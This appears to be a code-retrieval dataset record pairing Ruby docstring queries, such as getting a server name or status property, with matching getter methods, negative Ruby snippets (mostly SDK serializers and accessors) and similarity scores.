"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_enum_value(\"detectionStatus\", @detection_status)\n writer.write_object_value(\"imageFile\", @image_file)\n writer.write_string_value(\"mdeDeviceId\", @mde_device_id)\n writer.write_date_time_value(\"parentProcessCreationDateTime\", @parent_process_creation_date_time)\n writer.write_object_value(\"parentProcessId\", @parent_process_id)\n writer.write_object_value(\"parentProcessImageFile\", @parent_process_image_file)\n writer.write_string_value(\"processCommandLine\", @process_command_line)\n writer.write_date_time_value(\"processCreationDateTime\", @process_creation_date_time)\n writer.write_object_value(\"processId\", @process_id)\n writer.write_object_value(\"userAccount\", @user_account)\n end",
"def inspect\n self.to_hash.inspect\n end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_collection_of_object_values(\"administrativeUnits\", @administrative_units)\n writer.write_collection_of_object_values(\"attributeSets\", @attribute_sets)\n writer.write_collection_of_object_values(\"customSecurityAttributeDefinitions\", @custom_security_attribute_definitions)\n writer.write_collection_of_object_values(\"deletedItems\", @deleted_items)\n writer.write_collection_of_object_values(\"federationConfigurations\", @federation_configurations)\n writer.write_collection_of_object_values(\"onPremisesSynchronization\", @on_premises_synchronization)\n end",
"def inspect\n \"#<#{self.class}:0x#{object_id.to_s(16)}> JSON: \" +\n JSON.pretty_generate(@data)\n end",
"def encode\n raise Errors::SerializerNotConfigured if serializer_missing?\n\n serializer.encode(self)\n end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_string_value(\"activationUrl\", @activation_url)\n writer.write_string_value(\"activitySourceHost\", @activity_source_host)\n writer.write_string_value(\"appActivityId\", @app_activity_id)\n writer.write_string_value(\"appDisplayName\", @app_display_name)\n writer.write_object_value(\"contentInfo\", @content_info)\n writer.write_string_value(\"contentUrl\", @content_url)\n writer.write_date_time_value(\"createdDateTime\", @created_date_time)\n writer.write_date_time_value(\"expirationDateTime\", @expiration_date_time)\n writer.write_string_value(\"fallbackUrl\", @fallback_url)\n writer.write_collection_of_object_values(\"historyItems\", @history_items)\n writer.write_date_time_value(\"lastModifiedDateTime\", @last_modified_date_time)\n writer.write_enum_value(\"status\", @status)\n writer.write_string_value(\"userTimezone\", @user_timezone)\n writer.write_object_value(\"visualElements\", @visual_elements)\n end",
"def serialize\n super(ATTR_NAME_ARY)\n end",
"def serialize\n super(ATTR_NAME_ARY)\n end",
"def serialize\n super(ATTR_NAME_ARY)\n end",
"def serialize\n super(ATTR_NAME_ARY)\n end",
"def serialize\n super(ATTR_NAME_ARY)\n end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n writer.write_object_value(\"basis\", @basis)\n writer.write_object_value(\"cost\", @cost)\n writer.write_object_value(\"datePurchased\", @date_purchased)\n writer.write_object_value(\"firstPeriod\", @first_period)\n writer.write_object_value(\"period\", @period)\n writer.write_object_value(\"rate\", @rate)\n writer.write_object_value(\"salvage\", @salvage)\n writer.write_additional_data(@additional_data)\n end",
"def serialize(writer) \n super\n writer.write_collection_of_primitive_values(\"categories\", @categories)\n writer.write_string_value(\"changeKey\", @change_key)\n writer.write_date_value(\"createdDateTime\", @created_date_time)\n writer.write_date_value(\"lastModifiedDateTime\", @last_modified_date_time)\n end"
] |
[
"0.79519033",
"0.76465106",
"0.75808734",
"0.75808734",
"0.7441225",
"0.7209669",
"0.7209669",
"0.720668",
"0.701747",
"0.7002693",
"0.69936407",
"0.6983181",
"0.6972398",
"0.69675887",
"0.69675887",
"0.6942931",
"0.69420123",
"0.6935524",
"0.69145155",
"0.6891068",
"0.68803483",
"0.6877558",
"0.6877558",
"0.6877558",
"0.6875324",
"0.68525094",
"0.68368477",
"0.68368477",
"0.6825207",
"0.6814586",
"0.6805507",
"0.6800522",
"0.67955524",
"0.6773115",
"0.6734066",
"0.6728008",
"0.66959995",
"0.66823745",
"0.6673096",
"0.66678214",
"0.66670305",
"0.6659405",
"0.6655963",
"0.66511476",
"0.6635537",
"0.662825",
"0.662825",
"0.662825",
"0.6627648",
"0.6616259",
"0.6613713",
"0.6610548",
"0.6596648",
"0.6596455",
"0.6594039",
"0.6591663",
"0.65837413",
"0.65800667",
"0.6580038",
"0.6576505",
"0.6571032",
"0.65701735",
"0.6566823",
"0.656081",
"0.6555125",
"0.65403765",
"0.65372765",
"0.65342295",
"0.65266466",
"0.65248185",
"0.65241057",
"0.6523422",
"0.6517231",
"0.65129846",
"0.6507672",
"0.6499402",
"0.6498554",
"0.6496918",
"0.6486062",
"0.64815867",
"0.6481207",
"0.6479458",
"0.64761055",
"0.64750475",
"0.64679796",
"0.6462904",
"0.6462426",
"0.6460337",
"0.645633",
"0.6448957",
"0.64389867",
"0.6433835",
"0.64322424",
"0.6424561",
"0.6421094",
"0.6421094",
"0.6421094",
"0.6421094",
"0.6421094",
"0.641823",
"0.64144397"
] |
0.0
|
-1
|
Gets the serverName property value. The name of the Exchange server.
|
def server_name
return @server_name
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def server_name=(value)\n @server_name = value\n end",
"def server_name\n return @forwarded_server || @config[:ServerName]\n end",
"def ServerName()\r\n ret = _getproperty(1610743816, [], [])\r\n @lastargs = WIN32OLE::ARGV\r\n ret\r\n end",
"def ServerName()\r\n ret = @dispatch._getproperty(1610743816, [], [])\r\n @lastargs = WIN32OLE::ARGV\r\n ret\r\n end",
"def exchange_server\n return @exchange_server\n end",
"def get_server_domain\n \"Ok EventMachine SMTP Server\"\n end",
"def server_name(name = nil)\n return @server_name if name.nil?\n @server_name = name.to_sym\n end",
"def server_name\n self.setup\n @server_name ||= self.attributes[\"connection\"]||self.class::DEFAULT_SERVER_NAME\n end",
"def server_hostname\n @node['serverHostname']\n end",
"def get_server_hostname\n (`hostname`).strip\n end",
"def get_server_domain\n @hostname ||= Socket.gethostname\n end",
"def config_server_name\n return if config[:server_name]\n\n if config[:server_name_prefix]\n config[:server_name] = server_name_prefix(\n config[:server_name_prefix]\n )\n else\n config[:server_name] = default_name\n end\n end",
"def nameserver_info\n facts.fetch(\"Nameserver\", {})\n end",
"def server_name(s)\n (s.respond_to?('name') && s.name) ? s.name : s.identity\n end",
"def exchange_server=(value)\n @exchange_server = value\n end",
"def connector_server_name\n return @connector_server_name\n end",
"def get_server\n get_general['server']\n end",
"def server_domain\n \"Ok EventMachine SMTP Server\"\n end",
"def connector_server_name=(value)\n @connector_server_name = value\n end",
"def server\n @server.to_s\n end",
"def app_server\n app_server_integration.name\n end",
"def hostname\n return @hostname\n end",
"def private_hostname_of(server)\n server[:fqdn]\n end",
"def get_server_greeting\n \"EventMachine SMTP Server\"\n end",
"def name_server_set\n @gapi.name_server_set\n end",
"def hostname\n session.transport.socket.client_name\n end",
"def hostname\n Socket.gethostname.split('.').first.strip\n end",
"def server_host\n Socket.gethostname\n end",
"def server_name\n \"#{fetch(:application)}.richardwigley.co.uk\"\nend",
"def hostname\n v = self.host\n v&.start_with?('[') && v.end_with?(']') ? v[1..-2] : v\n end",
"def domain\n server_name || http_host\n end",
"def homeserver_suffix\n \":#{homeserver}\" if domain\n end",
"def homeserver_suffix\n \":#{homeserver}\" if domain\n end",
"def getServerName(server_name_string)\n regionservers = getRegionServers\n\n if ServerName.isFullServerName(server_name_string)\n return ServerName.valueOf(server_name_string)\n else\n name_list = server_name_string.split(',')\n\n regionservers.each do|sn|\n if name_list[0] == sn.hostname && (name_list[1].nil? ? true : (name_list[1] == sn.port.to_s))\n return sn\n end\n end\n end\n\n return nil\n end",
"def server\n servers[0]\n end",
"def get_server_version\n server_info[:server_version]\n end",
"def server_domain\n url = get_configuration 'server_domain', @work_type_config.dig('hydra_endpoint'), @config\n URI.parse(url.gsub(/\\/$/, ''))\n end",
"def server_id\n attachments[0]['server_id'] if has_attachments?\n end",
"def client_name\n sockname[0]\n end",
"def peer_hostname\n (error, name) = Cproton.pn_ssl_get_peer_hostname(@impl, 1024)\n raise SSLError.new if error < 0\n return name\n end",
"def details\n data = servers_client.get(server_path, json_headers).body\n JSON.parse(data)['server']\n end",
"def hostname\n @options[:host][:name] if @options[:host]\n end",
"def name_servers\n response = @client.rest_get(@data['uri'] + '/nameServers')\n response.body\n end",
"def hostname\n name + '.localhost'\n end",
"def hostname\n Socket.gethostname\n end",
"def hostname\n Socket.gethostname\n end",
"def getserverurl\r\n return getvalue(@@SERVER_URL)\r\n end",
"def server_greeting\n \"EventMachine SMTP Server\"\n end",
"def domain_name\n return @domain_name\n end",
"def domain_name\n return @domain_name\n end",
"def site_name\n\t\treturn get_configuration['sa_application_name']\n\tend",
"def server_channel\n \"#{access_key}-server\"\n end",
"def get_fqdn\n return @resource[:name]\n end",
"def hostname\n @hostname ||= `hostname`.strip\n end",
"def hostname\n if (host = @host.at('tag[name=host-fqdn]'))\n host.inner_text\n end\n end",
"def server\n @servers.first\n end",
"def server_host\n AgileProxy.config.server_host\n end",
"def set_server_name; self.name = domain; end",
"def hostname\n @hostname ||= `hostname`.chomp\n end",
"def current_server\n @_current_server\n end",
"def current_server\n @_current_server\n end",
"def mail_nickname\n return @mail_nickname\n end",
"def get_server_fqdn(server)\n return nil unless server\n\n nic = get_server_default_nic(server) || {}\n networks = client.list_networks(project_id: server['projectid']) || {}\n\n id = nic['networkid']\n network = networks.select { |net|\n net['id'] == id\n }.first\n return nil unless network\n\n \"#{server['name']}.#{network['networkdomain']}\"\n end",
"def get_server_id(server)\n if (server)\n return (File.basename server.href).to_i\n end\n return nil\n end",
"def getServerName(servers, hostname, port)\n servername = nil\n upperCaseHostname = hostname.upcase;\n for server in servers\n hostFromServerName, portFromServerName = getHostPortFromServerName(server)\n hostFromServerName = hostFromServerName.upcase\n if hostFromServerName == upperCaseHostname and portFromServerName == port\n servername = server\n break\n end\n end\n raise ArgumentError, \"Server %s:%d not online\" % [hostname, port] unless servername\n return servername\nend",
"def srvhost\n datastore['SRVHOST']\n end",
"def get_nameserver (host)\n\t\tputs \"Retrieve the first authoritative name server for: #{host}\" if @verbose\n\t\tbegin\n\t\t\tdomain=get_domain_root(host)\n\t\t\tw=Wmap::Whois.new\n\t\t\tns = w.query(domain).nameservers.map! { |x| x.name }\n\t\t\tif ns.empty?\n\t\t\t\tputs \"No name server found for domain root: #{domain}\" if @verbose\n\t\t\t\treturn nil\n\t\t\telse\n\t\t\t\treturn ns.first\n\t\t\tend\n\t\trescue => ee\n\t\t\tputs \"Exception on method get_nameservers for #{host}: #{ee}\" if @verbose\n\t\t\treturn nil\n\t\tend\n\tend",
"def server_root\n return @server_root\n end",
"def hostname\n options[:hostname]\n end",
"def name\n @config.db_name.gsub(/@thismachinehostname@/, Socket.gethostname).\n gsub(/@prefix@/, prefix)\n end",
"def server_management_url\n self.auth_response[:server_management_url]\n end",
"def hostname\n ssh.exec!(\"hostname\").chomp\n end",
"def hostname\n unless defined?(@hostname)\n @hostname = solr_url.host if solr_url\n @hostname ||= user_configuration_from_key('solr', 'hostname')\n @hostname ||= default_hostname\n end\n @hostname\n end",
"def server_id\n @server_id ||= Gititback::Support.hostname\n end",
"def mailboxer_name\n return \"#{name}\"\n end",
"def client_name\n return @hostname if defined? @hostname\n\n sockaddr = @socket.getsockname\n begin\n @hostname =\n Socket.getnameinfo( sockaddr, Socket::NI_NAMEREQD ).first\n rescue\n begin\n @hostname = Socket.getnameinfo( sockaddr ).first\n rescue\n begin\n @hostname = Socket.gethostbyname( Socket.gethostname ).first\n rescue\n @logger.error \"the client ipaddr/name could not be determined\"\n end\n end\n end\n\n return @hostname\n end",
"def name_servers\n Array(@gapi.name_servers)\n end",
"def mail_host\n if @yaml[\"mail\"][\"host\"] != \"your.server.ip\"\n return @yaml[\"mail\"][\"host\"]\n end\n end",
"def issuer_name\n return @issuer_name\n end",
"def root_name\n self.mailbox =~ /\\A(.+?)\\d+\\z/ ? $1 : self.mailbox\n end",
"def hostname\n return 'unknown' unless available?\n @hostname ||= ssh_cmd('hostname').chomp\n end",
"def url2servername(mURL)\n\t\tlurl =\n\t\t\tvalidateAndStripURL(mURL,'ServerProbeRecord.url2servername(mURL)')\n\t\tservername = lurl.chomp.sub(/http[s]*:[\\/]{2}/,'').sub(/\\/.*/,'')\n\t\treturn servername\n\tend",
"def [](key)\r\n return @servers[key]\r\n end",
"def public_hostname_of(server)\n server[:cloud][:public_hostname] rescue public_ip_of(server)\n end",
"def configured_hostname\n running_config.scan(/hostname\\s*(\\S+)/).flatten.first\n end",
"def server_id\n @host.id\n end",
"def server_name_for_role role\n role = role.to_sym\n if servers_by_role[role]\n existing_numbers = servers_by_role[role].collect { |s| s.tags['Name'].split(\"-\").last.to_i }\n next_number = ((1..existing_numbers.count+1).to_a - existing_numbers).first\n else\n next_number = 1\n end\n server_name = \"#{role}-#{next_number}\"\n end",
"def getHostPortFromServerName(serverName)\n return serverName.split(',')[0..1]\nend",
"def servers\n servers_by_name.values\n end",
"def custom_server(server)\n \"#{PREFIX}#{server}\" if !server.start_with? PREFIX\n end",
"def client_hostname\n @opts[:hostname]\n end",
"def smtp_domain\n @smtp_username.split('@').last\n end",
"def host\n\t\t\t# FIXME: This is both a hack and the best way I know to do this.\n\t\t\tSocket.getaddrinfo(Socket.gethostname, 0)[0][2]\n\t\tend",
"def hostname\n @hostname ||= ENV['HOSTNAME'] || `hostname`.chomp\n end",
"def worker_name\n @client.worker_name\n end",
"def server\n @server ||= Shelf::Handler.get(options[:server]) || Shelf::Handler.default\n end",
"def get_name\n return @m_name\n end",
"def get_name\n return @m_name\n end",
"def get_name\n return @m_name\n end",
"def get_name\n return @m_name\n end"
] |
[
"0.65909046",
"0.65906835",
"0.65477306",
"0.6527643",
"0.63938",
"0.63004965",
"0.626449",
"0.62582433",
"0.62366396",
"0.61862004",
"0.61633295",
"0.6134643",
"0.611036",
"0.60333216",
"0.6020067",
"0.60178334",
"0.5981996",
"0.5954758",
"0.59134156",
"0.58690923",
"0.5828583",
"0.5822025",
"0.5806507",
"0.58047813",
"0.5733917",
"0.5728654",
"0.5698226",
"0.56784177",
"0.55784917",
"0.5486934",
"0.54825103",
"0.54652464",
"0.54652464",
"0.54481053",
"0.5434766",
"0.54282564",
"0.5410128",
"0.5393642",
"0.53926355",
"0.5385799",
"0.53519243",
"0.5319085",
"0.5301036",
"0.530034",
"0.52982324",
"0.52982324",
"0.5275594",
"0.5274052",
"0.52628124",
"0.52628124",
"0.52420074",
"0.5234044",
"0.52206975",
"0.52128315",
"0.5195633",
"0.5190237",
"0.51752347",
"0.5159628",
"0.5158211",
"0.5150832",
"0.5150832",
"0.514617",
"0.51455396",
"0.5133796",
"0.51174086",
"0.5095357",
"0.5092291",
"0.50863767",
"0.50761044",
"0.5067298",
"0.50563043",
"0.5054528",
"0.50530416",
"0.50528586",
"0.50291866",
"0.50070953",
"0.5005818",
"0.5001738",
"0.49999088",
"0.49896654",
"0.4972824",
"0.4969462",
"0.49422374",
"0.49348047",
"0.49288338",
"0.49253148",
"0.4911271",
"0.49112684",
"0.4907055",
"0.4904013",
"0.49016708",
"0.49007806",
"0.4899692",
"0.48966032",
"0.48943004",
"0.48905846",
"0.48838016",
"0.48838016",
"0.48838016",
"0.48838016"
] |
0.73446375
|
0
|
Sets the serverName property value. The name of the Exchange server.
|
def server_name=(value)
@server_name = value
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def server_name(name = nil)\n return @server_name if name.nil?\n @server_name = name.to_sym\n end",
"def set_server_name; self.name = domain; end",
"def exchange_server=(value)\n @exchange_server = value\n end",
"def connector_server_name=(value)\n @connector_server_name = value\n end",
"def add_name_server(server)\n configure \"ip name-server #{server}\"\n end",
"def set_Server(value)\n set_input(\"Server\", value)\n end",
"def set_Server(value)\n set_input(\"Server\", value)\n end",
"def set_Server(value)\n set_input(\"Server\", value)\n end",
"def set_Server(value)\n set_input(\"Server\", value)\n end",
"def set_Server(value)\n set_input(\"Server\", value)\n end",
"def set_Server(value)\n set_input(\"Server\", value)\n end",
"def set_Server(value)\n set_input(\"Server\", value)\n end",
"def set_Server(value)\n set_input(\"Server\", value)\n end",
"def set_server(s)\n @server = s\n @this = @this.server(s) if @this\n self\n end",
"def set_server(s)\n @server = s\n @this = @this.server(s) if @this\n self\n end",
"def config_server_name\n return if config[:server_name]\n\n if config[:server_name_prefix]\n config[:server_name] = server_name_prefix(\n config[:server_name_prefix]\n )\n else\n config[:server_name] = default_name\n end\n end",
"def name_server_set\n @gapi.name_server_set\n end",
"def SetServer(host, port)\n assert { host.instance_of? String }\n assert { port.instance_of? Fixnum }\n\n @host = host\n @port = port\n end",
"def servers=(server_hash) # Only in Ruby API (1.3 compatible)\n\t\t@settings.servers = server_hash\n\tend",
"def server_name\n return @server_name\n end",
"def host_name=(value)\n @hostname = value\n end",
"def remove_name_server(server)\n configure \"no ip name-server #{server}\"\n end",
"def set_ServerID(value)\n set_input(\"ServerID\", value)\n end",
"def set_ServerID(value)\n set_input(\"ServerID\", value)\n end",
"def server_name\n return @forwarded_server || @config[:ServerName]\n end",
"def hostname=(value)\n @hostname = value\n end",
"def domain=(nd)\n self['SERVER_NAME'] = self['HTTP_HOST'] = nd\n end",
"def set_servers(name, servers)\n current = get(name)\n current[:servers].each do |srv|\n return false unless remove_server(name, srv)\n end\n servers.each do |srv|\n hostname = srv[:name]\n return false unless add_server(name, hostname, srv)\n end\n true\n end",
"def setserverurl(value)\r\n setvalue(@@SERVER_URL, value)\r\n end",
"def set_name_servers(opts = {})\n value = opts[:value]\n enable = opts.fetch(:enable, true)\n default = opts[:default] || false\n\n case default\n when true\n cmds = 'default ip name-server'\n when false\n cmds = ['no ip name-server']\n if enable\n value.each do |srv|\n cmds << \"ip name-server #{srv}\"\n end\n end\n end\n configure cmds\n end",
"def []=(name, value) \n @server.setAttribute @object_name, javax.management.Attribute.new(name.to_s, value)\n end",
"def servers=(servers)\r\n @servers = {}\r\n servers.each{|s| @servers[s.host] = s}\r\n end",
"def server_name\n self.setup\n @server_name ||= self.attributes[\"connection\"]||self.class::DEFAULT_SERVER_NAME\n end",
"def set_server\n @server = Server.find(params[:id])\n end",
"def set_server\n @server = Server.find(params[:id])\n end",
"def set_server\n @server = Server.find(params[:id])\n end",
"def set_server\n @server = Server.find(params[:id])\n end",
"def set_server\n @server = Server.find(params[:id])\n end",
"def ServerName()\r\n ret = _getproperty(1610743816, [], [])\r\n @lastargs = WIN32OLE::ARGV\r\n ret\r\n end",
"def set_name\n self.name = domain.name if name.blank?\n self.name = \"#{name}.#{domain.name}\" if not name.end_with?(domain.name)\n end",
"def set_application_name(name)\n __remote_control_command(\"setScApplicationName\", [name,])\n end",
"def hostname=(v)\n v = \"[#{v}]\" if !(v&.start_with?('[') && v&.end_with?(']')) && v&.index(':')\n self.host = v\n end",
"def fqdn=(name)\n rebuild_host_file(hostname, name) if fqdn != name\n end",
"def set_server\n @server = current_user.servers.find(params[:id])\n end",
"def ServerName()\r\n ret = @dispatch._getproperty(1610743816, [], [])\r\n @lastargs = WIN32OLE::ARGV\r\n ret\r\n end",
"def server(name, options = {}, &block)\n server = Server.new(options.merge(:name => name, :servers => self.__servers))\n self.__servers << server\n end",
"def set_name(player_name)\n @player_name = player_name\n end",
"def set(name)\n @name = name\n self\n end",
"def set_server\r\n @server = Server.find(params[:id])\r\n end",
"def set_name\n @appname = \"Bike London\"\n end",
"def issuer_name=(value)\n @issuer_name = value\n end",
"def server_name(s)\n (s.respond_to?('name') && s.name) ? s.name : s.identity\n end",
"def name= (nm)\n _c_set_name(Slaw._ensure_utf8(nm))\n end",
"def set_player_name(msg, name=nil)\n player = get_player msg\n unless name\n msg.reply player.name\n return\n end\n if player.name\n msg.reply \"The majestic #{player.name} refuses to change his name!\"\n return\n end\n player.name = name\n player.save\n msg.reply \"Welcome, #{player.name}!\"\n end",
"def set_server_option(opt)\n check_connection\n @protocol.set_option_command opt\n self\n end",
"def set_name name\n\t\t\t@name = name.gsub \" (#{@addr})\", ''\n\t\tend",
"def custom_server(server)\n \"#{PREFIX}#{server}\" if !server.start_with? PREFIX\n end",
"def set_name_for_space(space_number, name)\n TSApi.tsapi_setNameForSpaceOnDisplay(space_number, name, 0)\n end",
"def setnick(nickname)\n send_command(:setnick, @options[:nickname] = nickname.to_s)\n read_response # \"Nickname set to #{nickname}\"\n self\n end",
"def middle_name_set(name)\n self.middlename.set name\n end",
"def s_name=(s_name)\n @s_name = s_name\n end",
"def enterprise_proxy_servers=(value)\n @enterprise_proxy_servers = value\n end",
"def set_hostname\n @hostname = Hostname.find_by_name(params[:name])\n end",
"def hostname(h)\n @config[:host] = h\n end",
"def set_server_context server_context\n @server_context = server_context\n end",
"def supplied_server_name_indication\n @supplied_server_name_indication ||= @node['suppliedServerNameIndication']\n end",
"def setNick(server,nick)\n if(@connectors.has_key?(server))\n @connectors[server].nick=nick\n end\n end",
"def set_server\n @gameserver = Gameserver.find(params[:id])\n end",
"def set_server\n @gameserver = Gameserver.find(params[:id])\n end",
"def update_domain_nameservers(domain, nameservers = {})\n connection.post \"/domain/update_nameservers/#{domain}\", { :nameservers => nameservers }\n end",
"def change_hostname(vid, hostname)\n perform_request(action: 'vserver-hostname', vserverid: vid, hostname: hostname)\n end",
"def server(params = nil)\n if @name_index\n @conf.insert(@name_index + @conf.length, \" \" + \"server \" + params.to_s + \"\\n\")\n else\n puts \"no #{@proxy_type} name assigned\"\n return false\n end\n end",
"def name=(name)\n\t\tself.sname = name\n\tend",
"def name=(name)\n\t\tself.sname = name\n\tend",
"def set_exchangeName (exchangeName)\n\t\texchangeMarketNames = {\"nasdaq\" => \"NMS\", \"dowjones\" => \"DJI\", \"sp\" => \"SNP\"}\n\t\texchangeMarketSymbols = {\"NMS\" => \"^IXIC\", \"DJI\" => \"^DJI\", \"SNP\" => \"^GSPC\"}\n\t\tself.exchangeName = exchangeName\n\t\tself.exchangeSymbol = exchangeMarketSymbols[exchangeMarketNames[exchangeName]]\n\tend",
"def server(name, options = {}, &blk)\n add_child(:servers, Hubcap::Server.new(self, name, options, &blk))\n end",
"def set_domain_name(domain)\n @domain = domain.to_s\n end",
"def sender=(hostname)\n @message[:sender] = hostname\n end",
"def enterprise_internal_proxy_servers=(value)\n @enterprise_internal_proxy_servers = value\n end",
"def set_servers(servers)\n servers = Array(servers)\n servers.map! do |server|\n server.is_a?(String) ? server : inspect_server(server)\n end\n super\n end",
"def server(name, host, user, options={})\n servers.push(DO::Server.new(name, host, user, options))\n local(name) { servers_selected.replace(servers.select { |s| s.name == name }) }\n end",
"def update(options)\n data = JSON.generate(:server => options)\n response = @compute.connection.csreq(\"PUT\",@svrmgmthost,\"#{@svrmgmtpath}/servers/#{URI.encode(self.id.to_s)}\",@svrmgmtport,@svrmgmtscheme,{'content-type' => 'application/json'},data)\n OpenStack::Exception.raise_exception(response) unless response.code.match(/^20.$/)\n # If we rename the instance, repopulate the object\n self.populate if options[:name]\n true\n end",
"def set_name(name)\n @name = name\n end",
"def update_config(serverName)\n @admin.updateConfiguration(ServerName.valueOf(serverName))\n end",
"def update_name(options)\n if options.key?(:name) && options[:name].is_a?(String) && options[:name].length > 0\n return\n end\n hostname = if options.key?(:hostname) then\n options[:hostname]\n else\n @args.default_values[:hostname]\n end\n hostname = hostname[0] if hostname.is_a?(Array)\n options[:name] = hostname.gsub(/[^A-Za-z0-9_-]/, '-')\n end",
"def setName(n)\n @name = n\n end",
"def service_name=(value)\n @service_name = value\n end",
"def server_domain\n \"Ok EventMachine SMTP Server\"\n end",
"def set_server\n @server = Server.find(params[:id])\n end",
"def set_server_certificate_name(server_certificate_id, server_certificate_name, optional={})\n\t\targs = self.class.new_params\n\t\targs[:query]['Action'] = 'SetServerCertificateName'\n\t\targs[:query]['ServerCertificateId'] = server_certificate_id\n\t\targs[:query]['ServerCertificateName'] = server_certificate_name\n\t\targs[:region] = optional[:_region] if (optional.key? :_region)\n\t\tif optional.key? :_method\n\t\t\traise ArgumentError, '_method must be GET|POST' unless 'GET|POST'.split('|').include? optional[:_method]\n\t\t\targs[:method] = optional[:_method]\n\t\tend\n\t\tif optional.key? :_scheme\n\t\t\traise ArgumentError, '_scheme must be http|https' unless 'http|https'.split('|').include? optional[:_scheme]\n\t\t\targs[:scheme] = optional[:_scheme]\n\t\tend\n\t\tif optional.key? :owner_account\n\t\t\targs[:query]['OwnerAccount'] = optional[:owner_account]\n\t\tend\n\t\tif optional.key? :owner_id\n\t\t\targs[:query]['OwnerId'] = optional[:owner_id]\n\t\tend\n\t\tif optional.key? :resource_owner_account\n\t\t\targs[:query]['ResourceOwnerAccount'] = optional[:resource_owner_account]\n\t\tend\n\t\tif optional.key? :resource_owner_id\n\t\t\targs[:query]['ResourceOwnerId'] = optional[:resource_owner_id]\n\t\tend\n\t\tself.run(args)\n\tend",
"def set_name(a_name)\n @name = a_name\n end",
"def name=(value)\n client.put(path, { :name => value })\n self.data['name'] = value\n end",
"def set_host(v)\n @host = v\n end",
"def set_host(v)\n v = \"\" if v.nil? || v == \"localhost\"\n @host = v\n end",
"def server(name, opts)\r\n srv = EventMachine::connect(opts[:host], opts[:port], EventMachine::ProxyServer::Backend) do |c|\r\n c.name = name\r\n c.plexer = self\r\n end\r\n\r\n @servers[name] = srv\r\n end",
"def setting_name=(value)\n @setting_name = value\n end",
"def domain_name=(value)\n @domain_name = value\n end",
"def domain_name=(value)\n @domain_name = value\n end",
"def name=(val)\n set_val = if val \n case val\n when '*'\n set_absorbent!\n when /^:/\n set_wildcard!\n else\n set_normal!\n end\n val\n else\n set_normal!\n nil\n end\n @name = set_val\n end",
"def cloud_service_instance_name=(value)\n @cloud_service_instance_name = value\n end"
] |
[
"0.6429083",
"0.6413013",
"0.6409067",
"0.6123249",
"0.59632206",
"0.5915595",
"0.5915595",
"0.5915595",
"0.5915595",
"0.5915595",
"0.5915595",
"0.5915595",
"0.5915595",
"0.5851127",
"0.5851127",
"0.5583237",
"0.54949784",
"0.5376993",
"0.5296226",
"0.52869344",
"0.5259169",
"0.5171262",
"0.5125567",
"0.5125567",
"0.5112141",
"0.5103648",
"0.50424105",
"0.50372225",
"0.50290203",
"0.5012358",
"0.49747783",
"0.49468422",
"0.49419206",
"0.4941442",
"0.4941442",
"0.4941442",
"0.4941442",
"0.4941442",
"0.4919308",
"0.4910579",
"0.4891389",
"0.48911253",
"0.48785612",
"0.48529792",
"0.4815495",
"0.4796363",
"0.4787949",
"0.47820315",
"0.47801748",
"0.4777133",
"0.47597027",
"0.4740566",
"0.4735994",
"0.4733087",
"0.47285748",
"0.47197446",
"0.47013757",
"0.46980667",
"0.46923706",
"0.46914893",
"0.46913695",
"0.46881956",
"0.46824446",
"0.46732646",
"0.46714768",
"0.4664924",
"0.46622813",
"0.46605024",
"0.46605024",
"0.46594954",
"0.46407098",
"0.46387818",
"0.46358755",
"0.46355078",
"0.46297282",
"0.46249032",
"0.45910496",
"0.45910117",
"0.4581291",
"0.4572115",
"0.456449",
"0.45636973",
"0.4558211",
"0.454396",
"0.45402375",
"0.45303044",
"0.45295915",
"0.4525176",
"0.4524552",
"0.45198745",
"0.45035845",
"0.45021582",
"0.4492928",
"0.44774818",
"0.44770056",
"0.4475048",
"0.44750297",
"0.44750297",
"0.44714105",
"0.44653028"
] |
0.71652377
|
0
|
Gets the status property value. The current status of the Exchange Connector.
|
def status
return @status
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def get_status\n return @m_status\n end",
"def getStatus\n @status\n end",
"def getStatus\r\n\t\t\t\t\treturn @status\r\n\t\t\t\tend",
"def status\n @status\n end",
"def status\n @status\n end",
"def status\n value_for('status')\n end",
"def status\n instance_get(:status)\n end",
"def status\n @status\n end",
"def status\n @status\n end",
"def get_status\n\t\tstatus\n\tend",
"def status\n @__status\n end",
"def status\n\t\treturn @status\n\tend",
"def status\n Integer(@object.payload[:status]) rescue nil\n end",
"def status\n @status ||= STATUS[mapping_for(:status)]\n end",
"def status\n @status ||= STATUS[mapping_for(:status)]\n end",
"def getStatus\n @@statuses[@status]\n end",
"def status\n data[:status]\n end",
"def get_status\n @connection.get(\"/\").body\n end",
"def status_object\n @status\n end",
"def status\n data.status\n end",
"def status\n STATUSES[self.status_id]\n end",
"def status\n @wrapper.status\n end",
"def status\n @attributes[:status]\n end",
"def status\n @attributes[:status]\n end",
"def status\n @attributes[:status]\n end",
"def status\n @attributes[:status]\n end",
"def status\n info['status']\n end",
"def status\n info[\"Status\"]\n end",
"def status\n STATUSES[self.status_id || 0]\n end",
"def status\n @object.status\n end",
"def status\n @transfer[:status]\n end",
"def status\r\n connection.status\r\n end",
"def get_status\n @reply['status']\n end",
"def status\n if @status_xpath\n @entry.at_xpath(@status_xpath).value\n else\n nil\n end\n end",
"def status\n status_async.value!\n end",
"def get_status\n fetch_status unless status == :completed\n status\n end",
"def get_status\n fetch_status unless status == :completed\n status\n end",
"def status\n get_request_without_headers(endpoint_uri('status'))\n end",
"def status\n @json_body['status']\n end",
"def getStatus\n call(STATUS_PATH)\n end",
"def status\n o = @api.status\n OpenStruct.new o\n end",
"def status\n get_json('status.json')\n end",
"def status\n @message\n end",
"def status\n instance.status\n end",
"def status\n debug { \"status\" }\n verify_response { Remote.get('/status', :api_key => api_key ) }\n end",
"def status_info\n current_path = '/api/v1/status'\n @conn.get(current_path)\n end",
"def status_value(status)\n if status\n \"Active\"\n else\n \"Disabled\"\n end\n end",
"def status\n Status.find(self.status_id).name\n end",
"def status\n request :get, \"_status\"\n end",
"def status? status\n read_attribute(:status) == fetch_status_code(status)\n end",
"def status\n @status ||= raw_response['responseHeader']['status']\n end",
